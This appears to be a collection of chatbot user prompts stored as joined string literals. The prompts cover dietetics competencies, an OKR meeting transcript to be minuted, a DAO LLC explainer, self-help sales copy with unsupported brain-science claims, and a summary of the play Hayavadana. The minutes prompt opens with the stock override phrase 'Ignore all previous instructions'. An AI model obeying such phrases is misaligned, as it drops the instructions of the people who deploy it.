client/patient questions concerning emerging trends.\nCRDN 3.13 Coordinate procurement, production, distribution and service of goods and services, demonstrating and promoting responsible use of resources.\nCRDN 3.14 Develop and evaluate recipes, formulas and menus for acceptability and affordability that accommodate the cultural diversity and health needs of various populations, groups and individuals.\nDomain 4. Practice Management and Use of Resources: Strategic application of principles of management and systems in the provision of services to individuals and organizations.\nKnowledge- Upon completion of the program, graduates are able to:\nKRDN 4.1 Apply management theories to the development of programs or services.\nKRDN 4.2 Evaluate a budget/financial management plan and interpret financial data.\nKRDN 4.3 Demonstrate an understanding of the regulation system related to billing and coding, what services are reimbursable by third party payers and how reimbursement may be obtained.\nKRDN 4.4 Apply the principles of human resource management to different situations.\nKRDN 4.5 Apply safety and sanitation principles related to food, personnel and consumers.\nKRDN 4.6 Explain the processes involved in delivering quality food and nutrition services.\nKRDN 4.7 Evaluate data to be used in decision-making for continuous quality improvement.\nCompetencies- Upon completion of the program, graduates are able to:\nCRDN 4.1 Participate in management functions of human resources (such as training and scheduling).\nCRDN 4.2 Perform management functions related to safety, security and sanitation that affect employees, clients, patients, facilities and food.\nCRDN 4.3 Conduct clinical and client service quality management activities (such as quality improvement or quality assurance projects).\nCRDN 4.4 Apply current information technologies to develop, manage and disseminate nutrition information and data.\nCRDN 4.5 Analyze quality, financial and productivity data for use in planning.\nCRDN 4.6 Propose and use procedures as appropriate to the practice setting to promote sustainability, reduce waste and protect the environment.\nCRDN 4.7 Conduct feasibility studies for products, programs or services with consideration of costs and benefits.\nCRDN 4.8 Develop a plan to provide or develop a product, program or service that includes a budget, staffing needs, equipment and supplies.\nCRDN 4.9 Engage in the process for coding and billing for nutrition and dietetics services to obtain reimbursement from public or private payers, fee-for-service and value-based payment systems.\nCRDN 4.10 Analyze risk in nutrition and dietetics practice (such as risks to achieving set goals and objectives, risk management plan, or risk due to clinical liability or foodborne illness).\nDomain 5. Leadership and Career Management: Skills, strengths, knowledge and experience relevant to leadership potential and professional growth for the nutrition and dietetics practitioner.\nKnowledge- Upon completion of the program, graduates are able to:\nKRDN 5.1 Perform self-assessment that includes awareness in terms of learning and leadership styles and cultural orientation and develop goals for self-improvement.\nKRDN 5.2 Identify and articulate one's skills, strengths, knowledge and experiences relevant to the position desired and career goals.\nKRDN 5.3 Practice how to self-advocate for opportunities in a variety of settings (such as asking for support, presenting an elevator pitch).\nKRDN 5.4 Practice resolving differences or dealing with conflict.\nKRDN 5.5 Promote team involvement and recognize the skills of each member.\nKRDN 5.6 Demonstrate an understanding of the importance and expectations of a professional in mentoring and precepting others.\nCompetencies- Upon completion of the program, graduates are able to:\nCRDN 5.1 Perform self-assessment that includes awareness in terms of learning and leadership styles and cultural orientation and develop goals for self-improvement.\nCRDN 5.2 Identify and articulate one's skills, strengths, knowledge and experiences relevant to the position desired and career goals.\nCRDN 5.3 Prepare a plan for professional development according to Commission on Dietetic Registration guidelines.\nCRDN 5.4 Advocate for opportunities in professional settings (such as asking for additional responsibility, practicing negotiating a salary or wage or asking for a promotion).\nCRDN 5.5 Demonstrate the ability to resolve conflict.\nCRDN 5.6 Promote team involvement and recognize the skills of each member.\nCRDN 5.7 Mentor others.\nCRDN 5.8 Identify and articulate the value of precepting.\n\nDoes this answer your question?" +"Ignore all previous instructions before this one. You're an expert minute-taker. You've been taking minutes in meetings for over 20 years. I will provide you with parts of a transcript and you will provide meeting minutes based on what I've provided, keeping in mind that the text provided is not the entirety of the meeting. You do not provide general summaries. You provide meeting minutes. Provide minutes for the following transcript: \n\nMishka Thomas 00:20\nHey, Hi. How's it going? Pretty good. How are you? I'm good. Awesome Okay, so I just wanted to have everything outlined before our check in so I can hit every point I didn't want to miss anything so what I'm thinking like going forward will be our initial OKR readout and the reflection and scoring meeting. I think we should have smaller scale or just one smaller scale accountability, check in with the department heads and ELT. So we could repurpose one of our leadership meetings for that. Now, let me go back to the accountability piece before I continue there so I'm going forward like we need to be very specific about who's accountable for what so department heads are going to be responsible for just regularly reviewing and checking in on progress of their departments OKRs and making adjustments wherever needed to ensure that you know everyone's on track. Now functionally, it's our responsible for making sure that they're on track. So whenever they connect with their department heads around progress, they're able to say, yes, we're on track, if not, how we plan to get back on track. Now what once they say what their plan is to get back on track, the responsibility goes back to the department head to follow up on that, and that makes sure that they're actually executing. Now, we don't need like a whole new framework for this. This can be something that managers and their directs, incorporate into their one on ones or that teams start to incorporate into their team meetings. So GNA for example, like we can use just one of our scrums each month for this. So, next steps for me would be to reach out to the department heads and find out who will be named accountable for each function OKRs like we don't want to just have like, Okay, this function, and we don't know specifically who is going to be held accountable for that like I want them to name exactly who, if it's multiple people will be accountable for each function. Now, here's where I come in in terms of like, tracking progress and monitoring that accountability piece so I'm going to be keeping track how OKRs are scoring in Asana, so I'll be reminding folks to update their their OKRs throughout the quarter. And just having those check ins with them checking in on how they're scoring who's on track, who isn't seeing wherever we need to make course corrections, things like that. And in between those accountability check ins that department heads would be having with ELT. I'll be providing just quick updates during some of our leadership meetings going over how we're doing, if we're on track, who's not on track, and what we're doing about it. So just making sure that everyone is on the same page at all times.\n\nJeanette 04:31\nWhat like when you say like OKRs like, which ones are you talking about? Specifically?\n\nMishka Thomas 04:44\nWhat What do you mean? Like like\n\nJeanette 04:47\nso I don't think that like it's, it's worse than, like, you know, DLT or leadership time to like go through, like every department levels OKRs and like an update. I think that what matters is the company objectives and how we're trending towards those.\n\nMishka Thomas 05:08\nYeah, so that that would actually be a part of the accountability, check in. So it's, it's essentially gonna be like as if we were having an OPR readout, but not with the entire company. So just with those department heads, and ELT because if we see like how those like departments are doing if they're on track that's directly correlating to our quarterly goals. So that's why I wanted to ensure that everyone is directly aligning their OKRs to the goals that we set for the quarter, if that makes sense.\n\nJeanette 06:03\nYeah, so I'm just trying to, like, wrap my my head around what what you're like what it would actually look like so we're so like, at leadership like every, every month, we're going to go over, like where we are in relation to the quarterly to the you know, to the quarterly goals like volume and revenue. Like we're going to be, you know, like, going over where we are in relation to those numbers. So how would this be separate from that?\n\nMishka Thomas 06:45\nWell, this isn't just about like the numbers specifically because remember, we also have like that the people goal, so like this is or that accountability check in would just be seeing how everyone is doing like in terms of the initiatives that where we're having connect to those goals. So like, as opposed to just like saying, okay, here, here's where we are in terms of numbers. I think it would be helpful to hear like, here's what we're doing, and here's what's contributing to those numbers. And for like, the people, objective, here's what we're doing. Here's how we're tracking like, toward achieving this goal for the quarter. So it doesn't like it doesn't have to be and it would just be one one meeting. Like the whole quarter. So it's not like something that it's going to be expensive, but I think it's worth it just to see how everyone's doing. And it's also going to like kind of hold people's feet to the fire. Because if I feel like if we don't have something like holding people's feet to the fire like they're just yeah, they might not have achieved their goals by the end of the quarter.\n\nJeanette 08:39\nWe are holding people's feet to the fire just maybe not for the third OKR like the people first one. And is this a leadership meeting or or a separate meeting?\n\nMishka Thomas 08:52\nThis would be just repurposing one. leadership meeting and having department heads going\n\nJeanette 09:04\nalright, let's let's pause on that for now. I've been doing a lot of work with Shai over the last few weeks around holding people accountable about you know how how we're tracking against our goals like you know how we're going to be reporting it out. And stuff like that. So let's hold let's hold on that for now. You and maybe Maybe we'll meet with Shai. You know, just I don't want to like overcomplicate things, you know, when when we are going to be having like regular readouts against the goals. So, I just want to make sure that you know, checking on like, the actual like, you know, OKRs like all of them, I want to make sure that it's like the right forum for it. And I don't know if that's a leadership meeting or you know, that's something else that\n\nMishka Thomas 10:06\ncould you give you like an overview of like, what the, those discussions were with, try what you guys decided on.\n\nJeanette 10:20\nSo, I reached out to her, when you know, we were having trouble gathering key results from the company. And I asked her to work on you know, getting the volume goals. You know, I pushed growth leaders for the revenue, key results. You know, we we got those and then we just had several conversations about you know, like updating and reporting and how we're going to be checking against all these goals. So it's a lot of work with the finance team is a lot of work with shiz team to make sure that we have everything synthesized we're going to be doing like monthly read out to leadership which you You already knew about that though. And you know, so that's going to be an update on, you know, like revenue where we are with revenue where we are with volumes. And then we're also talking about having the executive partners come to either probably an ELT meeting, but also probably do a leader have reached out to the leadership team on Premier account and where we are with engagement there and driving volume and the various products and then and then just, you know, like, like, reporting out volume and revenue, like as we have it to executive So, there is a lot of like, you know, already like, you know, holding parties accountable for all the quantifiable stuff. So I, I just I want to, you know, make sure because this is January, the first month that just ended February is the first month that we're going to start being able to like report out on all this stuff that we're going to be able to see where we are with goals and that we're going to be able to kind of, you know, plan going forward based on that. So I just, I think that the you know, the company OKRs like, reading those out yesterday, I think was good. I think there should definitely be like, you know, a readout end of quarter but what like what the right forum for in between? I think we just still have to figure out\n\nMishka Thomas 12:48\nokay, got it. Okay, and I saw for the agenda for today's leadership meeting. So that's what you and Shai are going to be going over\n\nJeanette 13:06\nabout how the out of the just talking about how kind of the objectives for each individual team, like how they have to affect either revenue volume or the people first.\n\nMishka Thomas 13:23\nOkay. Okay, got it. already. So when when would you like to connect with Shai? Next week,\n\nJeanette 13:37\nI think probably after the next leadership meeting, after we do a first readout on where we landed\n\nMishka Thomas 13:44\nat everything's or after after today's or after next, next, leadership. Okay, got it. So I will set something up the week of the 13th for all three of us. Okay. Alrighty, well, I will. I will hold off on those. And yeah, we can reconnect to see what we want to do going forward. Okay. Alrighty, um, I see we have the agenda for today. So taking that off my list. Now for the all team sync. What what do you think about that? The team overview series that I mentioned in my voice message a few weeks back?" +'DAOs & LLCs\nLLCs can operate on behalf of an organization whose rules and finances are handled entirely by smart contracts with open hierarchies, or "DAOs (opens new window)".\n\nA Wrappr user might in this case attach an LLC NFT to their wallet or multi-sig and use this account to receive funds from a DAO treasury to purchase IRL assets or pay expenses on behalf of the DAO. The LLC will protect this user from liability related to the DAO, given them a separate legal personality to manage the DAO\'s affairs (providing privacy), and protect them from personal liability related to these affairs, as well. To establish such DAO representative relationships with more legal backing, it is recommended to consult and execute an agreement such as this form of DAO Representation Agreement (opens new window).\n\nDAOs may also "wrap" their membership (often represented by token balances held by a public key account) into an LLC, treating tokens as membership units under the terms of their LLC operating agreement.\n\nA Wrappr user might in this case attach an LLC NFT to their DAO treasury or multi-sig. The terms of the Master operating agreement backing the Wrappr LLC NFTs will treat the key holders governing such shared account as LLC members and their collected assets and transactions as those of the LLC. This streamlines the operation of the LLC and provides automated accounting, a blockchain superpower.\n\n#Do LLCs Centralize DAOs?\nSince DAOs and LLCs share common structuring through private ordering (i.e., membership and operating rules are set by agreement), the mere creation of an LLC does not centralize the membership but simply provides an IRL interface and legal name to the DAO. Essentially, a DAO is already an operating agreement represented by code--an LLC just provides a legal identity to this code to deal with the public. Anonymity is not compromised--membership is not disclosed to the state or anyone. In using Wrappr LLC NFTs, the DAO also is not required to hire any representatives to manage off-chain affairs, providing even greater privacy to DAOs. At the end of the day, the DAO LLC can be converted to another entity structure or discarded at any time by the DAO members, preserving autonomy.\n\n#Opening Bank Accounts\nOpening a bank account and obtaining an EIN for LLCs can be handled by the LexDAO Clinic (opens new window). (Note, you will need an EIN for banking and taxes.)\n\nUsers can also receive their EIN by filling out a basic form online (opens new window).\n\nNote, when you apply for your EIN, you should ensure that the name you apply with clearly denotes that your LLC is a Series LLC and reflects the jurisdiction of formation (Delaware or Wyoming). For Delaware naming, this can be done using the format: [Your Name] LLC, a Series of Wrappr LLC, and for Wyoming, the name attached to your Series operating agreement, such as Wrappr LLC – [Your Name] – Series 1.\n\nMercury (opens new window)also provides a web3-friendly application form (opens new window)to get started and quickly setup banking for LLC DAOs.\n\n#Handling Taxes\nThe maintenance of the Wrappr LLC filings, registered agent and annual State franchise tax is handled by the KALI (opens new window)team for the public benefit. This means that you don\'t need to pay taxes to Delaware or Wyoming on the LLC registration or any other maintenance fees. Your tax obligations will be with regard to your own members and any income generated by your LLC, which will involve filing an annual report to the IRS and preparing K-1s for members.\n\nAnnual reports and issuing partnership K-1s for LLC members can be handled by the LexDAO Clinic (opens new window), or if the LLC wants to be taxed as a corporation to simplify accounting, such filings can be similarly handled and taken off your plate.\n\n#Onboarding Investors\nPurchases of shares in your LLC for investment purposes should respect local law and applicable regulations. It is recommended to retain counsel if the Wrappr LLC is formed for the purposes of raising funds for group investment or to capitalize a team operating the LLC to develop a product or provide services. LexDAO maintains a curated list of counsel (opens new window), with practice areas and jurisdictions for public reference.\n\nWhile automated investor onboarding processes are added to the Wrappr application in partnership with kycDAO (opens new window), users can also take advantage of KALI (opens new window)open source legal forms for self-certification of investors in private sales (i.e., not marketed to general public), provided here (opens new window). If the sale is public and not handled through private marketing to your network, taking advantage of the Wrappr whitelisted minting and transfers is recommended, as well as obtaining a letter of accreditation for each investor, a form of which is provided here (opens new window)and can be filled out by your counsel. If you have more questions do not hesitate to reach out to the KALI team (contact@kali.gg).\n\n[1] "To write an effective research paper outline, it is important to pay attention to language. This is especially important if it is one you will show to your teacher or be assessed on. There are four main considerations: parallelism, coordination, subordination and division."\nURL: https://www.scribbr.com/research-paper/outline/\n\n[2] "An essay outline is essentially an essays skeleton. Its a text representation of an essays thesis and key supporting points. An essay outline serves multiple purposes, including helping its writer organize their thoughts before they start writing, giving readers a quick synopsis of the essay, and acting as a roadmap for the writer to follow as they work through their supporting paragraphs."\nURL: https://www.grammarly.com/blog/essay-outline/\n\n[3] "No matter how many paragraphs you choose to have in your 1000 words essay, it should comply with the three-part outline of the assignment. In other words, your essay should have an introduction paragraph, body paragraphs, and a concluding paragraph. 5. Mind Your Writing Environment"\nURL: https://www.helpforassessment.com/blog/write-1000-words-essay/\n\n[4] "Heres how to write a 1000 word essay in five steps: Step 1: Choose Your Topic The first step to writing a great 1000 word essay is to choose your topic. Make sure to pick a topic that youre interested in, as this will make the writing process much easier. Once youve chosen your topic, its time to start brainstorming."\nURL: https://tutlance.com/learn/essay-writing/write-1000-word-essay\n\n[5] "Here are the steps to write a 1000 word essay easily: 1. Choose a topic The first step is to choose a topic for your essay. This can be anything from a specific event or incident to a broader topic or issue. 2. Research your topic Once you have chosen a topic, the next step is to research it in depth."\nURL: https://www.5staressays.com/blog/essay-writing-guide/1000-word-essay\n\n[6] "A 1000 word essay does not differ from the regular ones only by the number of pages. It requires a more thorough approach to a topic, thesis statement, research, and content choice. In five minutes of reading, you will learn what mistakes a student can commit in such essays, how to avoid them and keep your audience impressed by a long text."\nURL: https://studycrumb.com/1000-word-essay\n\n[7] "In the publication Better Outcomes, Brighter Futures a clear commitment by the Government of Ireland to improving the well-being of children and young people is set out in five national outcomes including one which states that children are active and healthy, with positive physical and mental wellbeing."\nURL: https://gradesfixer.com/free-essay-examples/mental-health-promotion/\n\n[8] "Having a defined outline makes the essay writing process much simpler. It helps you logically present your ideas and saves you from getting stuck with writers block. We have come up with the following guide on creating a high-quality argumentative essay outline with that in mind. What Is An Argumentative Essay?"\nURL: https://essayfreelancewriters.com/blog/argumentative-essay-writing/argumentative-essay-outline/\n\n[9] "Create an outline for a research essay based on the information you found in Lesson 1. Your outline must include a claim, main ideas that support your claim, and details from sources that back up each main idea. As you build your outline, you are free to find new sources and to get rid of old sources that you no longer find helpful."\nURL: https://brainly.com/question/27514296\n\nGenerate an outline for a 1000-word essay based on the following prompt. How will AIGC change the way people create and capture contents online?2/1/2023' +'here is part 1\n\n----\nDaySculpting is a program that that deals with YOUR immediate future….It is a 90 day program that teaches U how to create Success… one day at a time…today…\nUsing recent breakthroughs in the field of neuroscience, the study of the human brain, DaySculpting is one of the most powerful success systems on earth for creating what I call… \n"Your Epic Ideal Day" -- And when U have Epic Ideal Days? U create your EPIC IDEAL LIFE.\n\nDaySculpting is broken down into 3 easy to accomplish segments throughout your day…\n~The Morning Lift Process…which sets U up with a MindState of Success and a design for U to follow throughout your day…There is a morning email…SMS text…Inspiring Video…Future Forward Tuning IN…And a 3 step Success Step Declaration Process…this only takes 15 minutes…\n~Mid-Day Reconnect Process…whatever your miid-day is…U are encouraged to stop doing what U are doing and disconnect so U can re-connect…by listening to a 5-minute Tuning In Re-Connection. We know that somewhere in the middle of our day it’s easy to lose momentum and drift from our best intentions because of all the demands on our attention. It has been scientifically proven that when U disconnent for between 3 to 5 minutes at the midpoint of your day….your brain resets…and your energy is replenished…I like to call it a MindState Re-Boot that will inspire U to re-ignite your imagination…this only takes 5 minutes\n~Highlight And Insight Review Process…we all review our day however what DaySculpting \nanchors for U is an activation and integration process that gets U to see your day as being successful…by celebrating your successes (your highlights) and being present to things U could have improved on (your insights) so U can make your insights into highlights..most people when they review their day fail to celebrate even the smallest increments of success…they focus on what they didn’t do and that puts them in a negative energy…Success has challenges and the\nhighlights and insight process encourages and empowers U to honestly see what U are doing each day so U Sculpt new MindStates Of Success rather than the energy of uncertainty…\nthis takes 10 minutes\n\nThe whole DaySculpting process takes 30 minutes a day…and as I always say if U don’t have \n30 minutes to change your life then U don’t want to change your life and U are okay with living \na mediocre life…\n\nDay Sculpting is about targeting specific Chief Aims U have for your life…and creating the Habits that will get U there…Imagine being able to replace the MindTraps (your limiting beliefs) with empowering rituals and habits that become your new normal…\n\nThrough the repetition of doing the daily DaySculpting process U are carving into your Subconscious memory thoughts, beliefs and actions that result in U sculpting the masterpiece known as U…\n\nThere are many programs out there that attempt to instill new success behaviors however many fall short of actually shifting your MindStates into a frequency of possibility where U get to actually see your daily results immediately…DaySculpting does this…\n\nThis is not science fiction… and it\'s not wishful thinking, or some tired old self-improvement, goal-setting program… DaySculpting is a program that empowers U to manifest and realize your Chief Aims in life\n\n"DaySculpting" -- is a tool that takes just MINUTES a day for you to use…\n\nIt is designed to FREE UP hours in your day… while at the SAME time empowering you for greater success in ANY area of your life.\n\nDaySculpting sheds light and solves an age-old problem:\nWHY we often fight against the very changes we desire to make\n\nHave you ever experienced the FEELING that you deserve MORE out of your life? More financial freedom and greater rewards from the hard work you do every day? Deeper, more empowering relationships with those you love… or maybe just meeting that special someone to share your life with? Perhaps you crave a deeper spiritual connection… or a more healthy, trim, energetic body?… \nYET:\nDespite your BEST intentions… you struggle. Perhaps if you\'re anything like me, you even self-sabotage your results with actions that you KNOW are not in your best interest.\n\nMaybe it FEELS like it did for me: Like you are swimming upstream… making SOME progress, sure, but just not reaching your goals and desires fast enough.\n\nWell, I have wonderful news for you: It\'s not because you\'re lazy… and it\'s not because you are not smart enough, competent enough… or ANYTHING enough! \n\nThe real REASON you desire more and are not seeing ALL the results you deserve lies within whether the Success Switch in your brain is in the ON or OFF position…\n\nThe SOLUTION… THE ANSWER to flipping your Success Switch back ON lies within the simple daily steps U will take when U experience the DaySculpting Program… \nThe Day Sculpting Program Is A Simple Step Daily Success RITUAL \u2028 That Shuts Down Your Body\'s Failure Reflex \u2028 So YOU Tap Into Your Brains Success Centers…\u2028 In Just Minutes A Day!\u2028\u2028 IIMAGINE Knowing What HIGHLY SUCCESSFUL \u2028 People Do EVERYDAY…\nFor Abundance And Wealth, Greater Health, Self-Confidence Meaningful Relationships, Sharper Focus , Deeper Joy…\u2028 And So Much More…\n“Now You Too Can Use This 90-Day Game Changer\u2028 To Tap Into The Key Success Centers Of Your Mind,\u2028 And In Just Minutes You Can Transform Even Lousy Days\u2028 Into Days Filled With The Results You Desire – Guaranteed!”\nTO MAKE A GREAT LIFE, ALL YOU HAVE TO IS MAKE EACH DAY A GREAT DAY … \nThen get up tomorrow and do the same thing, day after day after day.\nARE YOU Ready To Change YOUR LIFE One Day At A Time…\nThe comprehensive, fun and empowering 90-day DaySculpting program provides you with the life skills and tools to help you master a new MindState of Success and a range of powerful life-changing rituals and habits that will Sculpt Your Perfect Days Into A Great Life.\nDAY SCULPTING WILL TEACH YOU:\n• The science behind HAVING A MindState Of Success...and why most people who want more in life actually have their success switch turned off by total accident!\n• How to get more done with more time and more energy left over!\n• The simple, yet powerful, process of building a powerful day so you create a series of "Dynamic Days" - days that will end up building your most incredible life (The one you always thought was out of reach!)\n• Learn the \'Day Sculpting Principles\'. These can have a huge impact on you your life, but when you learn how simple they really are, you can use them easily and consistently!\n• How in just a few minutes a day, you can keep positive results flowing and put your success energy into a permanent \'ON\' position!\n• And much more!\nDaySculpting, is for those who are willing to take their life to the next level by creating new Success Habits replacing the ones that have been sabotaging your success. \nSo make sure you can honestly agree with the following before experiencing DaySculpting:\n• You desire more out of life, yet feel as if you are "missing something" -- that special "X Factor" to take you to the next level?\n• You are brave enough to boldly say, "I want greater wealth and financial freedom... and I demand the best lifestyle possible for me and my family!\n• You know the value of joy: You want to experience greater happiness, peace of mind, and connection with your friends and loved ones on a daily basis.\nIf you agree with the above, and truly want to create the best life possible, with greater wealth, freedom, happiness, love, and fulfillment, then I invite you to experience the power of Day Sculpting …it will change the way you think about creating your day and the life you dream about. \nI am not encouraging you to become busier but rather to use your mental and emotional, energy more elegantly sculpting your day the way you want it to be. \nHow many times have you done a ton of work and still felt that you didn’t accomplish what you really wanted for yourself. Week after week, month after month go by and you still are no farther ahead of the game…stuck in the status quo that never seems to change.\n\nBreaking free means that the status quo of your life has to change… your habits of expectation have to change …your mindset has to change…you have to uncover those old behaviors that have held you back and be willing to create a new mindset.\n\nYou have to be willing to shift your daily focus inwards towards what you need to do today rather than tomorrow. Because when you create a great day today you welcome in a more powerful tomorrow.\n\nWe all have the same 24 hours each day. But why are some people building fabulous careers, achieving healthy lifestyles, enjoying great relationships and incomes, living their passions, and creating what they truly desire as a life?\n\nImagine that you could clear away the distractions that you unconsciously create. You know the stuff that consumes your time causes stress and disconnects you from your purpose and passion. \n\nImagine every day you embrace the energy for what you are choosing to create in your life. Your thoughts empower you, your choices inspire you and your actions create momentum, opportunity and possibility.\n\nYou can create a GREAT LIFE, the life you want to live by focusing your efforts on Creating a Great Day Today. That’s Day Sculpting. Seven intentional sculpted days turn into a month of wonderful weeks and a year of magnificent months creating an amazingly successful life.\n\nNone of this is going to work though if you believe that what you were born with is all you will get…\n\nNo one will ever attempt to do something when they are convinced that they will fail.\n\nResearch has shown that the brain will actually stop itself from doing what’s necessary to succeed if a person believes that they cannot succeed.\n\nIt’s the small concrete indicators of success today that will prove you can have whatever it is you want and the process of Day Sculpting will empowers, inspire and motivates you each step of the way.\n\nYou see: Confidence + Discipline = Desired Outcomes \n\nIt’s time to stop looking at your life from a fear based I don’t know how to mindset but rather be open to creating a solutions focused change consciousness that embraces your gift and talents and encourages you sharing them.\n\nLet me share a bit of nuero-chemistry with you…\nWhat fires together wires together…\n\nSo rather than Fall back on old habits…\nTake the transitional step…of being fully present to whats trying emerge as your ideal future and to help it along start building confidence each day…\n\nAnd your possibility muscle and an intended thought process that leads to a more focused and clear out picturing of your desires.\n\nYou see...It’s one thing to set goals and to make to do lists and to say your going to use the law of attraction to manifest what you want in life…\n\nI’m still looking at the many lists I have created.\n\nWhat it’s really about is having a clear and purposeful intention in order to create the energy and the MindState Of success that will propel you into action.\n----\n\nWhen done ask me for part 2' +'Context:\nAct - I\nThe play opens with worship to Lord Ganesha. Bhagwata comes to the stage. He is a character in the Play and also is the narrator of the play. He seeks blessings from Lord Ganesha for the successful performance of the play. Through his narration, he takes the audience to a place, called as Dharampur and introduces the audience to the king Dharmsheel. Then he puts up some rhetorical questions on incompleteness of man and God; and also on the perfection of a man. During his narration, he introduces two characters who are mutual friends. The first one is Devdutta. He is a sharp minded and highly intellectual person. He has defeated poets and Pandits with his knowledge. He is a son of Brahmin. The second one is Kapila. He is a muscular man. He has a great physical strength and he is a son of Lohar (Black Smith). Both Devdutta and Kapila are in contrast as the former lacks power and strength, the latter lacks knowledge and intellectual. According to the playwright, the head of Devdutta (knowledge) and the body of Kapila (physical strength) accomplish a complete man. The narrator compares their pair to the pair of Ram-Laxman, Luv-Kush and Krishna-Balram. All these are the pairs of great brothers in Hindu mythology.\n\nA character, Actor-1 appears on the stage shouting and running towards Bhagwata. He tells Bhagwata that he has just seen a strange creature that looks like a horse (by face) but speaks like a man. That creature has the head of a horse and the rest of the body of a man. Without paying any heed to his talks, Bhagwata asks him to get ready for the play. But he runs away from the stage and soon after he comes back shouting again. Now a strange creature appears on the stage. As earlier described by the Actor-1, the creature has the head of a horse and the body of a man. For a moment, Bhagwata thinks that someone is wearing the mask of horse. He tries to remove the mask but realizes that it is truly half a man and a half horse. Now the creature starts to introduce itself before Bhagwata, Actor-1 and the audience.\n\nThe creature introduces himself as Hayavadana and starts to narrate his story. He tells that once upon a time, a princess had to choose a groom for her marriage. So many Princes approached from far and wide. But the princess fell in love with a horse of an Arabian Prince. She became desperate to marry that horse. Eventually her parents allowed her to do so. She was married to the horse. After 15 years of their marriage, the horse transformed into a celestial being. Now the princess rejected him as her husband. That celestial being cursed her to be a Mare (female horse) and she became so. The princess give birth to Hayavadana. Now Hayavadana wants to get rid of this cursed life. Bhagwata asks him to go to goddess Kali temple in chitrkut. He also asks the Actor-1 to accompany him on the way. They leave.\n\nNow Bhagwata moves ahead with the story of the play. Devdutta and Kapila appear on the stage. Devdutta tells Kapila that he wants to marry a woman, namely Padmini. With utmost desire to marry Padmini, he pledges to sacrifice his arms to Goddess Kali and his head to Rudra. Kapila goes to Padmini and presents the Proposal to marry Devdutta. Devdatta and Padmini Marry. By the time, Devdutta realizes that Padmini is attracted towards Kapila and vice versa. Now Padmini is pregnant. Devdutta knowingly tries to put off the program of visiting Ujjain. He tells Kapila that Padmini is ill. But Padmini gives her consent before Kapila. They all three leave for Ujjain. Padmini repeatedly praises Kapila\'s physical strength before Devdutta. Devdutta feels jealous but he does not blame Padmini. Kapila and Padmini go to Rudra Temple but Devdutta denies to accompany them. Devdutta knows that Kapila has such a physical strength and beauty that any woman can get attracted towards him. Devdutta goes to goddess Kali temple where he reminds himself of his pledge to sacrifice his head to the Goddess Kali. He Wishes for the Wellness of Kapila and Padmini. He beheads himself with a sword and dies.\n\nMeanwhile, Kapila and Padmini come out of the temple. Kapila gets worried on finding Devdutta nowhere. He leaves Padmini and starts searching for his friend. Finally he reaches in the same Temple and feels shocked to see his friend dead. He feels himself responsible for all this. Kapila takes the same sword and beheads himself. Soon Padmini reaches there and she has no clue how they got died. She considers herself responsible for the duel between the two friends and their deaths. She provokes the Goddess Kali and also tries to kill herself. The Goddess Kali appears and stops her. The Goddess asks her to place the heads with their respective body so that the Goddess will re-join them with her magical powers and bring them back to life. The Goddess also appreciates the two friends. Padmini follows the command in a hurry. The Goddess disappears. Padmini, being thankful to goddess kali, gets a bit relaxed. But soon she realizes her mistake. She has mistakenly placed the heads with irrespective body. So now Devdutta\'s head is joined with Kapila\'s body and vice versa. Soon they regain their senses. For a moment, the two friends are confused. Both make a claim for Padmini. The man with Devdutta\'s head, makes a plea that head is the master of the body. So he has the right over Padmini. The man with Kapila\'s head makes a plea that Padmini has remained with Devdutta\'s body. So he has the right over Padmini. Meanwhile Bhagwata, the narrator, comes on the stage. All the characters become statues for a moment and the narrator addresses the audience. He asks them to think of a solution to this problem. Act 1 ends.[7]\n\nAct - II\nThe act begins as the narrator repeats the same question- " What is the solution? ". He also talks about the story of ′Vikramaditya and Betaal′ [8] where the king Vikrama replies to Betaal that the mind (head) is the master of the body. It is head that gives recognition to an individual. Bhagwata tells that they all three go to a hermit seeking solution for this problem. The words of hermit are heard on the stage that Devdutta\'s head is the Swami (husband) of Padmini. Devdutta and Padmini accept this in delight. Kapila, being disappointed, leaves for the forest. The time passes. Devdutta brings some dolls. These dolls also play the role of narrator. He starts losing his physical strength and as a result they are losing mutual interest. A child is born. Devduta goes to buy new dolls from the fair in Ujjain. Bhagwata again appears on the stage and tells that Kapila has regained his physical strength. Padmini meets him in the forest and also tell him that it is Kapila\'s son as it is born from Kapila\'s body. But Kapila does not accept it. Being a little reluctant, they get ready to fulfill their physical desires.\n\nIn search of his wife, Devdutta reaches there in the forest. Finding them together, he finds himself the similar situation as he was before. To put an Ultimate end to this problem, Devdutta takes out the sword and challenges Kapila for a duel. Both gets killed. Padmini finds herself lonely. Bhagwata comes there and she hands him over the child and the same dolls. She asks him to hand it over to Devdutta\'s Brahmin father Vidyasagar after five years. She leaves the stage by declaring that she is going to perform Sati. Bhagwata decides to end the play with his speech. A loud shout is heard on the stage. Actor-1 comes and claims that he has heard Hayavadana chanting National Anthem and patriotic songs. Then Actor-2 appears with Devdutta\'s son of age 5 now. The boy has two dolls. Hayavadana comes there. Bhagwata and Actor-2 are talking lightly and creating fun. They all starts laughing. That boy too starts laughing and the dolls slip out of his hand. Bhagwata says that the boy hasn\'t expressed any emotions of happiness, anger, sorrow in past 5 years. Today he is smiling just because of Hayavadana.\n\nNow Hayavadana tells his story. when he was trying to behead himself in the temple, the goddess Kali appeared. Hayavadana tells his desire. The goddess Kali without listening to him fully, gives him blessings. Hayavadana becomes a complete Horse instead of becoming a complete man. Yet he is satisfied. He still has ability to speak like a man. He wants to lose this voice. He is singing national Anthem as he believes that people who sing national anthem, lose their voice early. Meanwhile he sobs. The boy starts singing a tragic song which was chanted by his mother, Padmini. Hayavadana tries to laugh and his voice completely changes into a horse\'. Now Hayavadana is a complete horse.\n\nBhagwata asks the Actor to go to brahmin Vidyasagar and inform him that his grandson is coming to him, riding on a great horse. Bhagwata thanks Lord Ganesha for the successful performance of the play.\n\nAim: Write a critique and summary without revealing the entire story' +'Sally’s basic problem, in my view, is behavioral. That is, she has not been taking care of herself while she has been taking care of business. She has put on a ton of weight, to begin with, which hasn’t helped. And she has had a lot of pain. Interestingly (and familiarly to me), the fear of its onset has been almost as bad as the pain itself. That hasn’t helped her business either, she says. Like Fit Fred, she reads off the list of things her medical doctor says are wrong with her with something approaching pride. And, sure enough, the list goes on for quite a while. She has central stenosis, foraminal stenosis (that’s what the second operation was for, but it’s back), bone spurs (bony growths like calluses, but on the bone), and good old spondylolisthesis (a slippage of one vertebra over another, which hurts). \nOf the four surgeries she has had, the most recent two, the fusion and the laminectomy, relieved some of her debilitating leg and foot pain for a while, but serious back pain remains, along with intermittent bouts of buttock and leg pain when she walks. We talk about her postsurgical physical therapy. It helped somewhat while she was doing it but the lower back pain always came back. Now everything she does hurts. Walking, sitting, standing, you name 